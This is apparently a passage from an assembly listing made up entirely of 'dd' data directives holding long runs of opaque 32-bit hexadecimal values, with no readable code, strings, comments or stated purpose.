		dd 5014C609h, 44762CD8h, 607A013Ch, 0DC4B7B7Ch,	0DA014A0Eh
		dd 30D0E98Bh, 0EAE41B4Eh, 46CF0034h, 0CC38C003h, 4B00DD92h
		dd 0B2F0BDE4h, 9E9CA8h,	0D126C26h, 0E82972E0h, 6A9A3700h
		dd 8549807Ah, 0C72700DAh, 9CC11642h, 0CC4C68D6h, 0EC80B14h
		dd 727D003Ch, 0BFC9FD8Eh, 2F4DD583h, 0EF8020E9h, 509BB0E7h
		dd 6898B038h, 101CEA00h, 2F92153Fh, 0D6282CE0h,	8E9F03FEh
		dd 32B009B6h, 6800C19Ch, 0D136C926h, 3A49D93Eh,	5E87B228h
		dd 70617F2Fh, 960B3FA0h, 24D8B50Bh, 0C4B88098h,	0DAC954h
		dd 50859DD3h, 15CAE0DDh, 2931260Fh, 92626088h, 0AE8276h
		dd 2C7C7E9Eh, 3249017Ah, 4D334200h, 0EC3C80C9h,	84D7002Fh
		dd 0F6F819DAh, 0C101BC27h, 166EE9D8h, 0DA300964h, 0B89C0058h
		dd 4C897898h, 1C0091A5h, 4E9D4636h, 169E5E1Dh, 0B0831E66h
		dd 0A800ACA7h, 746C72BBh, 0E27693h, 69385C12h, 0B27C2683h
		dd 6600C9E8h, 0F9B4F1A1h, 27BCAh, 0C390516h, 17A34AC3h
		dd 0C223B300h, 7E06702Fh, 525E0040h, 0C968660Fh, 36094188h
		dd 0D96C6494h, 69201EBh, 0CC4A74B0h, 0E6724009h, 3A024200h
		dd 2CC2104Eh, 70E8FC3Ch, 28682641h, 2A8E3F4Bh, 0FA00D34Ch
		dd 0DD315230h, 34293300h, 84A7672h, 0AB0C1C0Bh,	0D3E640h
		dd 58C98D5Eh, 880E3C20h, 0A00965E4h, 0E3603E41h, 6CD0F78Ah
		dd 707D2Dh, 0E498C720h,	232979Ch, 0DE1C1072h, 0F88045C4h
		dd 620D2F22h, 66E113EAh, 7B980006h, 0D812EE0Bh,	1A4BF002h
		dd 0E2C63AC3h, 33AEC013h, 0BEE400AFh, 265081B7h, 3C019335h
		dd 410E251Ch, 0E0306474h, 0E2E80030h, 9682DC06h, 8600562Dh
		dd 5A2C621Fh, 91DA49Dh,	3CFE81FBh, 0C8FA4D80h, 1C003E57h
		dd 93713F46h, 0B4E179h,	0F4B12260h, 0FCC7F8BCh,	58DDFF4Ch
		dd 947C053Ch, 0C3C0FE80h, 901D31h, 96849754h, 2E08BC1Ah
		dd 25CA6F00h, 40E15E87h, 553800F4h, 745B7239h, 8F704983h
		dd 3EAE3D00h, 0EAF32CC6h, 1EC001B3h, 46A2B92h, 0E956E4C1h
		dd 4B00F1E2h, 0F24CE238h, 3824763Bh, 3D80099Fh,	4E32D847h
		dd 2E00C366h, 0DC94D28Ch, 279C122Ch, 4DC19E83h,	4A1670F2h
		dd 96B41F07h, 893C2F6h,	22929063h, 0B29D0043h, 7CD07054h
		dd 0BD007EB8h, 0C53F8917h, 74230B1h, 7724F080h,	499E00D2h
		dd 0E100D6FAh, 6807E9F5h, 3263A66h, 3CE42B24h, 0D9B88F3Dh
		dd 2D3E93BCh, 0EC560BA0h, 0B575815Eh, 0E7F8FA07h, 0F9E405F1h
		dd 0C05D6093h, 856449E8h, 27CA781Eh, 0A17207C0h, 14E4ACE7h
		dd 0BE76E0BBh, 38B4CE00h, 60A00A17h, 89951A00h,	311C04B6h
		dd 3C74B8BCh, 4F81613Dh
		dd 0FC5BE434h, 608E6163h, 0B7E2B0A5h, 98879703h, 93CEE7C4h
		dd 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh, 2794DC09h,	8C07161Eh
		dd 93FE8FC0h, 0FE36323Fh, 7E8A3C70h, 3772007Fh,	8640A06Bh
		dd 0A5E21CB4h, 1DB89D00h, 15F09ECDh, 2FFA002Dh,	8BCA856Ch
		dd 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h, 5602C11Dh, 0E4C36296h
		dd 1B0BE0FFh, 0BE273Fh,	0B64F46DCh, 7449176Ch, 7C5E04D8h
		dd 0C8B3C05Bh, 401C5070h, 1C014F0h, 0EE300BA3h,	3A7C32h
		dd 0F916640Ch, 2F34B8FDh, 0C6610500h, 0E177310Dh, 0E3B0086h
		dd 29ED25E0h, 560028CCh, 2E7353Fh, 741C53Dh, 0FC4992A0h
		dd 0FD51204Dh, 59008C20h, 611FFA94h, 76593h, 25923B98h
		dd 9A08E002h, 380A9C00h, 1FEC824Ah, 0F77A48DEh,	987C4B00h
		dd 76165C26h, 96308312h, 0ACFA4A00h, 12B0D4h, 0BC684FB4h
		dd 7678C0CBh, 75C85B3Bh, 50F08B00h, 87F84ACAh, 3F032772h
		dd 0C200D4ECh, 7E265814h, 48204A1Ch, 0F413F68Bh, 28EEE292h
		dd 6000FAB7h, 68E564E7h, 3E70DE4Ah, 0B9935EE0h,	3EBEA0A8h
		dd 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h, 0C600BAD0h
		dd 0BECBD85Bh, 0EB250C9h, 40C61F0h, 0C32A08E0h,	14E6104Ch
		dd 0E318D300h, 0F020F21Ch, 285B0086h, 79FBD0C7h, 580E71D2h
		dd 46FA5CF9h, 8AE548h, 7CFC78A0h, 8416A29Ch, 8CE8F012h
		dd 13EA5700h, 0B682B4h,	0CCE058C0h, 88D860C9h, 2305E71Dh
		dd 2D01BC9Fh, 0C0C83166h, 0C93CCCh, 0F0686F40h,	4F2EFD64h
		dd 81709E3Dh, 7CECC174h, 84C880F9h, 2FE60078h, 9404418Ch
		dd 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h, 0E8E2840h, 0DCCFD8E0h
		dd 1CCB405Dh, 2C5FAA70h, 3C100905h, 94A87C78h, 0E15C8A00h
		dd 74F96C12h, 84222F00h, 44AE568Ch, 0AAAC01A4h,	0A661B425h
		dd 588240C4h, 0BF63064h, 0A4701A00h, 0B8E884D2h, 0B8C752Dh
		dd 16FC9462h, 0B84970h,	0A803A47Dh, 6FB02CC1h, 7BB8F80Bh
		dd 1C4107FEh, 0A02F3834h, 20704832h, 0F5C5A00h,	6CCB689Ah
		dd 2FF0747Bh, 0AB63DC79h, 96F441BFh, 0C04630F8h, 8004353Eh
		dd 0E164C611h, 0FA6CE968h, 0AEE70h, 0E285B778h,	0B9E4BC80h
		dd 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh, 0F1C9FCE5h
		dd 301FD9D2h, 38800B3Eh, 7C7214D1h, 4FDE00E4h, 0A0E68298h
		dd 120036F4h, 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h, 96F69FC0h
		dd 10609C00h, 18888597h, 206A3EB0h, 28068480h, 64E808FDh
		dd 1344BC01h, 740EF06Ch, 80A8C680h, 88B00F2Fh, 588CC900h
		dd 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh, 0E090DC7Eh, 0B00E45Bh
		dd 8650ECAEh, 3F0FF45Eh, 0E80FC76h, 8490438h, 4A48EE58h
		dd 18F00073h, 0F4561CE2h, 147B01Fh, 162C9328h, 0D8A4B1AFh
		dd 0E07F3C02h, 87B5440Bh, 75F858h, 4B854E4h, 602F5C3Fh
		dd 15A00E03h, 85B6AB01h, 3FF013Bh, 40E86090h, 0EB0E1506h
		dd 87821144h, 2EB590DBh, 4D02E00Ah, 44BB18DEh, 0DD039029h
		dd 719D2B18h, 33BD8311h, 89AD30D8h, 832E2FE9h, 3E850F0Eh
		dd 8D183B05h, 5027E030h, 0EC2095FFh, 60897D31h,	0F88B1BDCh
		dd 0ED669D8Dh, 432D5311h, 797936E8h, 21FA4228h,	4E7D4457h
		dd 6A49D48Bh, 6A075618h, 10066804h, 0DF46EAA0h,	4C6D38ABh
		dd 75264268h, 2A453AA3h, 0E853C70Ch, 7F8B3774h,	0FBD51C8h
		dd 1B41B5E1h, 0ACE2A4F3h, 0A3807623h, 57E35036h, 850E0E8Dh
		dd 7EF2C51h, 10AC3C0h, 2100409Ch, 2002B063h, 7F3C9008h
		dd 145200C4h, 4409108Ch, 0D8BD21CCh, 57E100E0h,	330E0520h
		dd 8500222Ch, 4FF016Fh,	559D8Bh, 0B0CC02Ah, 0A7A74DBh
		dd 870003ECh, 89195985h, 318DF0h, 831171B5h, 840FC03Eh
		dd 47D36A1Dh, 468B4043h, 68E4C004h, 141EFC99h, 9A063850h
		dd 0EC305586h, 8B560D1Fh, 9D0309C5h, 51A0BB05h,	2F29A03h
		dd 6EBD8880h, 12D0070h,	85FE4C75h, 8B0F0940h, 0E050033Eh
		dd 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h, 535651A3h, 83BA00D5h
		dd 0B55506E9h, 33173FE0h, 56000BDBh, 1A781C03h,	0E83C17ACh
		dd 0E9FA00BBh, 494304D8h, 0EDEB0100h, 0C3831E29h, 0C6CD0005h
		dd 0FA4C76F3h, 5B070DE0h, 6258595Eh, 36104837h,	0F90CC1h
		dd 8DA5F302h, 3C0377E1h, 535EA400h, 809C5088h, 9B853B82h
		dd 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h, 64E402A9h,	0E10729FEh
		dd 864B5595h, 2B0F1970h, 79D89DD0h, 0E8C1C200h,	0B88A4610h
		dd 235D0067h, 4C3A6D03h, 0FC0074FFh, 834E548Bh,	0D17308h
		dd 0ADCA7DACh, 0C107EF66h, 910CEB00h, 9D7401FBh, 5002070Bh
		dd 0C7033D16h, 2F2CF020h, 0E3001481h, 79820FFFh, 0E604011Fh
		dd 7E1D79D4h, 390EEEB2h, 8DBD462Dh, 0B8E20200h,	61DC9ED9h
		dd 128B4B0Ah, 6000E203h, 40C0850Ch, 1539071h, 0EAC2EB83h
		dd 20C7A2D8h, 26000CF0h, 53073275h, 29F016h, 4A4D6E04h
		dd 413BB4C7h, 0C403A901h, 66470646h, 107AD8h, 1B57ED6Ah
		dd 7ED618B7h, 0FA511A00h, 850D41B0h, 0A49900DBh, 62F759A2h
		dd 802501ECh, 0F0F475h,	5653C543h, 6500028Ah, 19B5AC7Fh
		dd 0E6E8B850h, 755B0367h, 2A25A66Fh, 0D28B57E0h, 83659839h
		dd 31342BC7h, 99E9D842h, 4939012Ah, 37DC3606h, 188EDC53h
		dd 5A247500h, 0C1124AD3h, 140200E2h, 3F7C0F63h,	835F3C7Bh
		dd 30AE0h, 0D91CA35Ch, 0A1DE1304h, 0EB5F2300h, 21515A16h
		dd 8177A4h, 8307894Bh, 3704B14Ch, 0AF32E900h, 4A2D06E7h
		dd 710E892h, 0D9141C0Ah, 0FEEBF0C1h, 8500BA24h,	0A4506544h
		dd 735B483Dh, 100400C2h, 61022F11h, 0B81F0875h,	0C402201h
		dd 32BF54Bh, 1C9300C3h,	0B715588Dh, 0AC005051h,	7656DCD3h
		dd 3942DEBBh, 0A3804825h, 2708ED21h, 9400DB30h,	641A8B4Ah
		dd 38D83D3Ch, 0C40283D0h, 306A5F10h, 0E1468961h, 0C9C2301Dh
		dd 2C47F600h, 513C978Ah, 74985Bh, 43A57729h, 14959FEFh
		dd 4CC2CE01h, 0F4391833h, 0AB10D4h, 0AC4A4051h,	779F196Eh
		dd 53D51E00h, 56D28D89h, 0E49B00F2h, 68C598F0h,	0C73BC84Dh
		dd 50D480DAh, 5C9CB6BEh, 31EEE4h, 13B5A1Fh, 3733888Ah
		dd 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh, 1072C6DCh, 0AE0096FEh
		dd 24CF0A7Dh, 0ADB14Fh,	4C2A4481h, 0CDD53940h, 0C8012301h
		dd 79B62C09h, 0BFF1E4h,	17607C0Eh, 0AB51E0FEh, 8D0061EAh
		dd 1690FBD6h, 2FD240h, 28A1B4D4h, 587CC109h, 0B8191100h
		dd 98107174h, 0C72A0059h, 0BEBB8531h, 80009F8Bh, 233935E8h
		dd 37BD87h, 92DF5D63h, 4E4F0372h, 6D009579h, 57B9D5E4h
		dd 38DEA83h, 82B7CD0Fh,	7C00DBCh, 0B103FD41h, 87A3972Ah
		dd 8ACFE029h, 48240078h, 0B7EA61E9h, 0D5EE7649h, 0F768441Dh
		dd 0A1145080h, 0F2C4BC60h, 0C8E0027h, 0A0656631h, 0BF00174Bh
		dd 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh, 0AD30EC57h, 0D548E5FAh
		dd 56CB05FDh, 0C3BB4CF1h, 800A1DBh, 0A575C410h,	8CDBEh
		dd 31E18193h, 42CED970h, 0DE19DD1Fh, 71959987h,	3F8F1CA0h
		dd 4698003Dh, 0DB31A266h, 50030A8Eh, 5DA8D0F7h,	59C6D05Ch
		dd 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h, 8100262Dh, 62CDBB78h
		dd 0A2023h, 0B0FCEC59h,	5C33F086h, 0D79BE600h, 0ABE21B42h
		dd 411C0060h, 5D740602h, 0F00ECC61h, 7F834AC6h,	2FA2EC0Eh
		dd 31472075h, 0D55E0Fh,	0B39E8D01h, 0C78E62D4h,	5A1DCD00h
		dd 0F5B2F9A4h, 0A22F6092h, 1C684ADEh, 512E1E0Eh, 451A4069h
		dd 0F430F8Ch, 0B82A844Eh
		dd 0FA7B6C20h, 0B400A860h, 768BC7DFh, 7DB91A0h,	179A270Ah
		dd 487F006Bh, 0EA038997h, 633644D0h, 1504E083h,	18CECDFh
		dd 35586176h, 0C46F24BFh, 0E63B5599h, 0EC2B0019h, 17685464h
		dd 0A16A00D0h, 0BB2624A3h, 0F47C76F0h, 1DAFDB04h, 8280E69Bh
		dd 88662Ah, 650824C9h, 0E978890Fh, 737938h, 50D74341h
		dd 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh, 7B9D3700h
		dd 0CEB45Ch, 62574738h,	33B5B6E9h, 61B30800h, 31033CF3h
		dd 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h,	3CA1E837h
		dd 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h, 0B4FD6F4h
		dd 7FDCC037h, 1B6C36Eh,	12E357A1h, 0CA01AA54h, 53458EC0h
		dd 4072200h, 0EC5FD244h, 0D3C80020h, 0A96D7C14h, 2A01D9BCh
		dd 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh, 69C5ACA6h
		dd 4A6F2500h, 2565E2Ah,	88F81410h, 1A00E4DAh, 76A73E27h
		dd 1301EB1Bh, 0C0CE492Ch, 92FCD780h, 15850056h,	19D152BFh
		dd 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h,	0D449596Ch
		dd 771D7C72h, 4E8F095Ah, 7EC0FD70h, 9207A7B1h, 3FDC3E27h
		dd 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh, 0A8C26Dh
		dd 6878AC54h, 0F73128F3h, 0B033C500h, 9B35B6B1h, 0FC2DE6A8h
		dd 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh,	4FA0BCEDh
		dd 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh, 8846068Ah
		dd 1E024707h, 9E0575D2h, 0CA129D16h, 500BEF73h,	0C057334Ah
		dd 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh,	0F87C2B57h
		dd 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh, 5AB928E1h
		dd 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh, 0C1480282h
		dd 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h, 143F050Eh
		dd 2140410Eh, 31811F0h,	777FF883h, 2C1A903h, 2CF6155Dh
		dd 0C90033A3h, 7401E8C0h, 6AD18312h, 0E21CB602h, 5D07FEE7h
		dd 552609B9h, 82618687h, 797008C2h, 7A8817E1h, 39FE7C5Dh
		dd 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h, 0D636F16h
		dd 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h, 7AF16978h
		dd 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h,	41F00EFFh
		dd 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh, 6206E52h
		dd 98707B9Eh, 50657AE5h, 6F643E70h, 375FB875h, 2079C642h
		dd 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh,	874D3862h
		dd 1EB7E261h, 6BFBEE38h, 0F7C779CBh, 2E63C66Dh,	0B6B20CCh
		dd 0DA727E62h, 51A76875h, 2C64D66Fh, 1E2BA2A3h,	245E4375h
		dd 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h, 0FEF741F1h
		dd 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh,	0DF6F4C27h
		dd 9F5394AEh, 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h,	10060h
		dd 327D0000h, 92EF0000h, 2AB627CBh, 0EF6B68E0h,	2E5F4943h
		dd 93F176F9h, 0E99AD7F7h, 61BB9D5Dh, 4609979Fh,	0AA4D7417h
		dd 0A8AE39F5h, 4FFB8D5Dh, 680B7280h, 0C1DF15A1h, 1C4E335Fh
		dd 5081DB53h, 7C4C3174h, 11774A90h, 68856607h, 738CA3E0h
		dd 0BA2989A2h, 11B7BDB1h, 9CAAC535h, 0FF0BEE9Eh, 22EBC2E8h
		dd 0DB5CB23h, 0D555832Bh, 0FFBB67DDh, 0F628E32Fh, 0E7EF1F20h
		dd 0CA907889h, 59ECB143h, 71F6EAD9h, 4D25D91Ah,	0CFD8C84Fh
		dd 0A6ECF44Ch, 0CEF500F7h, 0CE9E5942h, 40E63AC9h, 0C0D9AED3h
		dd 357C149h, 9F9E695Bh,	0BA5BCFB3h, 0FCCD8C8Eh,	8C307597h
		dd 0B5A3FAEDh, 0E371F84Eh, 0BA81349Ch, 74BF128Fh, 6633F790h
		dd 8CD63CD2h, 0F320E3FDh, 156AED55h, 0EC20CEC6h, 0E2FD4A25h
		dd 6D1B190Ch, 55679C33h, 9269B566h, 15F38218h, 5455C783h
		dd 37EB2DE0h, 1968D304h, 5BCFD93Eh, 61E47CC0h, 0FC85F1E8h
		dd 262E0683h, 509F4DE9h, 7AAC83FEh, 3B63D714h, 19D81880h
		dd 0DDBE9E30h, 3D56A017h, 4413513Ch, 798BD1h, 876B8B4Eh
		dd 5C5F90F3h, 5664BCDCh, 0A608137Dh, 0BF47F124h, 0EF737B70h
		dd 26A68EC6h, 9DBF190Dh, 9031F9C6h, 7D8AFB2h, 0B39E03CCh
		dd 6A28E784h, 37D37AA3h, 0CCC53FEDh, 0E94548A9h, 678DD664h
		dd 548D4102h, 69E3B297h, 81C0A304h, 0E8BA7D1Bh,	0FC7173A4h
		dd 0E41F9FE2h, 0DB6F2EDCh, 5C648444h, 5EFF5708h, 5E461807h
		dd 0AA0661C8h, 329AD5E1h, 69EC5074h, 4719801Dh,	0FA2320D7h
		dd 0BD82AB38h, 505FF204h, 19AFA784h, 962F2EB9h,	5F33650Bh
		dd 0CAF8FEAFh, 503B9BE8h, 0F7423762h, 6EFF8BD1h, 0C25A00D9h
		dd 8E0C1F86h, 3A9C7FEAh, 0CC7AECD3h, 0A04A54C5h, 30EB1E95h
		dd 632DDF14h, 0EBED02C6h, 19F61D81h, 0C5923527h, 0CAEB039Fh
		dd 4AB61123h, 366FBDB9h, 0B9222EFEh, 0B33F0471h, 0A95F0157h
		dd 2C41CC2Eh, 276BACEFh, 0E780A43Ah, 6172A632h,	0EEBF8B2Ch
		dd 1CD8FEC2h, 11D846Fh,	90EF4E4h, 0B17665D4h, 8A1665E8h
		dd 3E4F9975h, 0F6BAEB22h, 6623B609h, 995BB779h,	9C871CD8h
		dd 5467AD42h, 0E2CC37D5h, 0EF51357Eh, 0CFD8D4D5h, 0B9F38E6Fh
		dd 592945BBh, 0F122E187h, 963695Bh, 5886684Ah, 7070F42Ch
		dd 0D563595Ch, 0DCF5E125h, 0E127A731h, 9E56121Bh, 0B2A5BE4Bh
		dd 0D83183C6h, 0FB14E17Fh, 0CAC74D5Eh, 0CE30E390h, 21064A36h
		dd 0DCFEB19Dh, 0E892553Bh, 0B4899E69h, 9CBF9B9Fh, 79D7E127h
		dd 2BABBB7Ch, 0C8CCADF4h, 0C564FCEBh, 689F680Bh, 0CF260A1Dh
		dd 9285EDA9h, 0E3CD4D7Ch, 0B2B3E44Dh, 73C1EB99h, 96F83C84h
		dd 0C6C4049Dh, 6ECA6CCAh, 36C261FDh, 3D380753h,	0E0D6AC84h
		dd 6ABC2A95h, 1A6CA9A8h, 84DDD6A2h, 526B03EBh, 91B00B1Ah
		dd 0ADEFBF49h, 0BCFEEE72h, 0A84F31F3h, 4704C6B8h, 0F40A47FFh
		dd 8742585Ah, 7BA34E1Ah, 89C95939h, 0FB970D5Ch,	8C91F728h
		dd 0F8F6F6ABh, 0A4AB7576h, 0EFDD4249h, 0A7E38A0Ah, 0BB07142Ch
		dd 0E423A5B4h, 0ECA4B91Bh, 0E3C09740h, 3093250Ah, 9AC0B96Ch
		dd 0F14C4C78h, 24FDD7E1h, 0D7209C48h, 0BBCE0F70h, 0E2437CCDh
		dd 3565A32h, 0AF782C45h, 49201638h, 0AE75FECFh,	0C7A94C31h
		dd 4FF53632h, 70D55005h, 600B4AA0h, 885BFDF3h, 0E0B24F26h
		dd 7CC9A6EDh, 39A95B46h, 0AA84F473h, 5F9A4E85h,	35EA5255h
		dd 0CE319002h, 360C0135h, 915067D7h, 8AB4F1A0h,	828379EFh
		dd 2CCA6E00h, 7E39B0B3h, 0C01DAECBh, 0B27D2BDAh, 0A3F41B96h
		dd 322985BDh, 58A93702h, 2E299E23h, 506F18D6h, 51F823F2h
		dd 42EB38C2h, 6FF3B566h, 95305E1Bh, 1F630DB8h, 0E27727EFh
		dd 1B4CFAE8h, 0EE0A1219h, 4B06B601h, 0F4771663h, 6D2F1BB2h
		dd 4FA866F7h, 0E9F9BD71h, 0F08E0DC1h, 2847699Ah, 989C8476h
		dd 8F5DAB15h, 2A321A85h, 0A45413D2h, 3246DDBFh,	9486CA6Ah
		dd 49D01401h, 273C532Ch, 1CE0CC39h, 3BA03395h, 0DF2575F8h
		dd 0F199BD1h, 5E9CF8EFh, 7C587E51h, 0C263CEB3h,	3C37C77Bh
		dd 2ABA7414h, 22F5E56Ch, 0E319075h, 0DAB007F4h,	802B5E4Bh
		dd 0CD2504B1h, 597E284Fh, 2F1C9BE5h, 747B1EEEh,	27FDDDFAh
		dd 0C28B199h, 2B2575AEh, 0EDE30B7Eh, 0ACCCCC87h, 1A00523Bh
		dd 4D61B723h, 40A4220Eh, 276E8C83h, 3E3F8F4Eh, 0C6E2C945h
		dd 72A66198h, 0A905A687h, 0FB573ACDh, 2C66F7B3h, 212530A0h
		dd 59DF2A2h, 6ABBB243h,	81273086h, 0EA4EDB52h, 1CB402B3h
		dd 0C12DD3D5h, 8AFF2E1Ah, 0ACA542A1h, 575D0DEDh, 487A6521h
		dd 0EB29687Bh, 703A1586h, 0ECB685DAh, 0F2780EFAh, 644BE70Ch
		dd 0F7B7768Dh, 0D16B83F1h
		dd 0BB3AE0E2h, 8997BFD0h, 70644222h, 0E250E5CBh, 4BED62BFh
		dd 58D0FE29h, 53C8F005h, 0D69C6191h, 57A71E78h,	0E18B0924h
		dd 237E410Bh, 4681EC61h, 16432872h, 0F60F9BBDh,	5678FF0Ch
		dd 0B37A9059h, 73EA42D6h, 7A75C75Eh, 2331D68Eh,	331602ACh
		dd 0C8A6E6BCh, 0EC0227CAh, 2A2BD798h, 44C31564h, 731B325Eh
		dd 39AF9FC0h, 0D0D1EF58h, 3677C784h, 0D7C95902h, 8D38E068h
		dd 0AF0CBEC4h, 4A0177A8h, 5648FA24h, 862CE2CDh,	1F4DDB0Bh
		dd 788AC97h, 6E206CC8h,	1D0E083Ch, 8774C84Eh, 0DC9E0D3Fh
		dd 41308F79h, 0CB677BDAh, 1B4E6040h, 58D06AA3h,	83C48B3h
		dd 8CEE620Dh, 0B7DBFEB5h, 3EC255E6h, 0DE338488h, 0ADF58A3h
		dd 0CAA0EBC6h, 95F10172h, 3B283513h, 0BBB4A7FCh, 7D3B67C1h
		dd 8DCDA873h, 249D713Ah, 0E2322C71h, 0A037FFA6h, 1E260B97h
		dd 0B41979C9h, 0EBDE462h, 78A931F6h, 0D27D151Bh, 301DBD4Eh
		dd 57B74DC4h, 6F122B91h, 7DA11F21h, 5D765BCFh, 0D52180E1h
		dd 660CDBAAh, 7C00E4AAh, 0E09EC42h, 0B598180Eh,	9C96CB96h
		dd 1325B6EAh, 0F4EF56C7h, 0D72178F8h, 0FF19053Ah, 0FF13F178h
		dd 84D2FCF3h, 0A487B2B3h, 565C40D4h, 6135695Fh,	929162C0h
		dd 0DEF294ABh, 852E2B46h, 5F4A9C3Eh, 15DB6EA0h,	127A0D2Fh
		dd 20D59CCAh, 9DD6C27Eh, 0C3DD9346h, 14F303D5h,	7BE5033h
		dd 93B9AEB9h, 43370734h, 5E27831Ch, 0C7FC6389h,	0D027BF54h
		dd 26BA33B6h, 78E363ADh, 0AE4C5873h, 7121D854h,	0D70D8B66h
		dd 48EF8C0Ah, 0DF8688E8h, 87AA71A8h, 53F76AAFh,	7C461699h
		dd 5E0B756Ch, 0D633190h, 0A45A43C2h, 762FB19h, 0C7BA4623h
		dd 52386E73h, 0CD597FF0h, 0D755170Bh, 1DA34552h, 0EB6420Ch
		dd 785DCCF7h, 0D0041DD5h, 0E8726EA6h, 0A4E50B8Eh, 9A62860Dh
		dd 96414273h, 1EA04918h, 52A3F41Bh, 3AEC9F15h, 8E844FACh
		dd 0ECB2C010h, 9914804Ah, 3B812EF9h, 99F9537h, 0B979957Eh
		dd 8939FB6Eh, 0D1A308CBh, 60EA75E1h, 656BFB5Ah,	4C3F90ADh
		dd 7C9D9010h, 90A984EFh, 5933BA18h, 0E6BD3113h,	0B2A2A13Ah
		dd 78A36B15h, 0B496A84h, 0C744CAFCh, 53F85447h,	0F0B424B1h
		dd 0A685957Bh, 3ED42236h, 5D8B59ABh, 0BCF24B91h, 832644E8h
		dd 18D9895Fh, 8F51829Eh, 8F78EA2Fh, 0F9653E84h,	0C37C1EFAh
		dd 51EDFB3Fh, 4B73A0FDh, 8F88F5BBh, 494117E6h, 0B7773352h
		dd 0F92716DCh, 0C34F51E4h, 1C02682Dh, 0BFDC68C2h, 74213EB8h
		dd 0C540E5E8h, 0C0C872C5h, 0A4F74008h, 0ED2A08DEh, 4F0ED6D2h
		dd 861464D5h, 0D9788155h, 812EDD65h, 41F00DC4h,	1337D511h
		dd 5EE3E569h, 0C65E1E2Ch, 0D1FF1CF1h, 0B788CD64h, 197E491Ah
		dd 29AD847Fh, 3A045C37h, 0CCAFEF68h, 5108E2B8h,	51607277h
		dd 0F429C79Dh, 3EEF68Fh, 0F3932AA3h, 27B43B2Ch,	9981DC94h
		dd 896EBACDh, 524DD3FCh, 0F8E5220Dh, 599C8066h,	0B748607Dh
		dd 0AE04D8B8h, 23061AD6h, 0CB433E63h, 998B41C0h, 0D34AFD08h
		dd 693E706h, 26C73884h,	9EDF8A72h, 5161E399h, 8B2776DAh
		dd 0ECB2EA86h, 747AFF52h, 0ACD13B53h, 0A9BE6CF1h, 92A5ED5Bh
		dd 0D3D92AD9h, 2E1A5C88h, 309286BCh, 5AB892E9h,	8F7D7000h
		dd 8C44C8CCh, 0C3E459B6h, 0DCDC6165h, 8C0BB3A5h, 53367F97h
		dd 7A000B1Fh, 0BC6F75Ch, 0C8C44C2Eh, 7316CC71h,	455008D8h
		dd 0E204F663h, 14C6D933h, 0CF792CE2h, 389EE183h, 6DF99AA9h
		dd 0CDB3219Ah, 0B26E85FEh, 5F9EE27Ch, 85076A1Ah, 2742D642h
		dd 400F2E10h, 0C693FD73h, 0C76F0CBBh, 426E3E94h, 45E1705Fh
		dd 5084EDD0h, 27D9EAB2h, 0C34BDFC4h, 98EA52E8h,	2655E68Ah
		dd 12A2B309h, 32C634D1h, 0E16F28h, 2988CAACh, 0E5F018DBh
		dd 4D14C7C5h, 0C3691948h, 3C278D8Eh, 68609149h,	0DF848169h
		dd 0BEFED62h, 39132FBEh, 0C55AE465h, 1A5D0532h,	3E8A8960h
		dd 9BEE43FCh, 28E71BBBh, 785FA99h, 36CEDB28h, 0E7B7CDBBh
		dd 342861FBh, 7D2D375Dh, 0AC845CCFh, 90D9C024h,	2C467D39h
		dd 66D2DF72h, 4721AC96h, 0AB2D16BAh, 0FBEF34C5h, 377FB489h
		dd 0C30B82E5h, 0AADE09F9h, 0D971DDEh, 0DACF96FAh, 0B9BBBCC9h
		dd 7CEF16B9h, 57B440D9h, 7F5AB737h, 0B59742Bh, 0E90023BEh
		dd 0EDCC98Dh, 88636F6Ch, 89F66B0h, 0A8A38135h, 86C0150Ah
		dd 0B25B260h, 0A3CADF5Ch, 0CEA4E236h, 9B31798h,	0DD76E5F0h
		dd 0BB3E4649h, 6D65D975h, 0D9A281Dh, 39B0B0A5h,	0D680070Eh
		dd 41598629h, 0F8CA120Fh, 547BE3F1h, 0AA6A04E3h, 0EAF65EA3h
		dd 0CC9623B4h, 0FAC13F1Fh, 66294D89h, 6D8BC63Bh, 0BD8A3D2Ch
		dd 0CD41B7D4h, 91A6D38Fh, 0EFA58815h, 4260D54Bh, 81321AA8h
		dd 7954F6CCh, 0D86F740Ah, 9E872050h, 3146380Bh,	0AB6AB42Eh
		dd 310896CFh, 0FF07F76Dh, 0BC550655h, 4203AAC9h, 27D8C257h
		dd 48E45D01h, 840C2898h, 8085AFF7h, 650C0908h, 0CBC6C60Fh
		dd 50251D47h, 3833872Dh, 8AE0471Ch, 3601D6ECh, 0E7CD5C07h
		dd 8E7713B7h, 0BCB617E0h, 0A12B048Bh, 5CB0317h,	4582E942h
		dd 33007FC3h, 37988967h, 3902B194h, 5E126689h, 42D5BAF7h
